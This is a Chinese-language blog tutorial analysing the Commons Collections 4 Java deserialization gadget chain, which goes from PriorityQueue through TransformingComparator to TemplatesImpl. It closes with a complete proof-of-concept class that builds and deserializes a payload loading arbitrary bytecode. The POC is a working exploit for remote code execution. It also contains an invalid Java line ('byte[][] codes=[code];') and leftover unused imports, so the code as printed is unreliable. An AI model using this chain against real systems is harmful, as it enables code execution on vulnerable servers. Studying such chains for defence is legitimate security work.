java安全之CommonsCollections4詳解

Posted on by

引子

CC4簡單來說就是CC3前半部分和CC2後半部分拼接組成的，對於其利用的限制條件與CC2一致，一樣需要在commons-collections-4.0版本使用，原因是TransformingComparator類在3.1-3.2.1版本中還沒有實現Serializable接口，無法被反序列化。

接下來讓我們仔細分析一下。

PriorityQueue

PriorityQueue是一個優先隊列，作用是用來排序，重點在於每次排序都要觸發傳入的比較器comparator的compare()方法 在CC2中，此類用於調用PriorityQueue重寫的readObject來作為觸發入口

PriorityQueue中的readObject間接調用瞭compare() 而compare()最終調用瞭transform()

readobject()方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
    // Read in (and discard) array length
    s.readInt();
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

重寫瞭該方法並在最後調用瞭heapify()方法，我們跟進一下：

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

這裡的話需要長度等於2才能進入for循環，我們要怎樣改變長度呢。

這裡用到的是該類的add方法，將指定的元素插入此優先級隊列。

heapify()調用瞭siftdown()方法

繼續跟進：

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

可以看到判斷條件

 if (comparator != null)

調用瞭

siftDownUsingComparator(k, x);

在siftDownUsingComparator()又調用瞭 comparator.compare()。

TransformingComparator

可以看到該類在CC3的版本中不能反序列化，在CC4的版本中便可以瞭。

TransformingComparator是一個修飾器，和CC1中的ChainedTransformer類似。

TransformingComparator裡面存在compare方法，當我們調用時就會調用傳入transformer對象的transform方法具體實現是this.transformer在傳入ChainedTransformer後，會調用ChainedTransformer#transform反射鏈。

問題

1.就像剛才heapify裡面所說的

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

我們要進入循環要修改值，通過add方法。

priorityQueue.add(1);
priorityQueue.add(2);

2.initialCapacity的值要大於1

3.comparator != null

4.通過反射來修改值防止在反序列化前調用，就如之前的鏈一樣，我們到利用時再用反射修改參數。

類似這個樣子：

Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

我們先放置個反序列化前不會執行這條鏈的隨便一個參數：

TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

POC

package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.convert.TransformWriteField;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"XINO");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
        byte[][] codes=[code];
        bytecodesField.set(templates,codes);
        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }
    public static void unserialize(Object obj) throws Exception{
        ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
        oss.readObject();
    }
}

結語

這次給大傢帶來的是CC4鏈的簡單分析，可以看到CC4鏈還是沒有脫離之前跟的鏈的影子，我們可以看到CC3的前半部分以及CC2的後半部分，需要註意的問題的話就是版本問題瞭吧還有上面提到的一些小細節，至此CC鏈就快跟完瞭。

以上就是java安全之CommonsCollections4詳解的詳細內容，更多關於java安全CommonsCollections4的資料請關註WalkonNet其它相關文章！

推薦閱讀：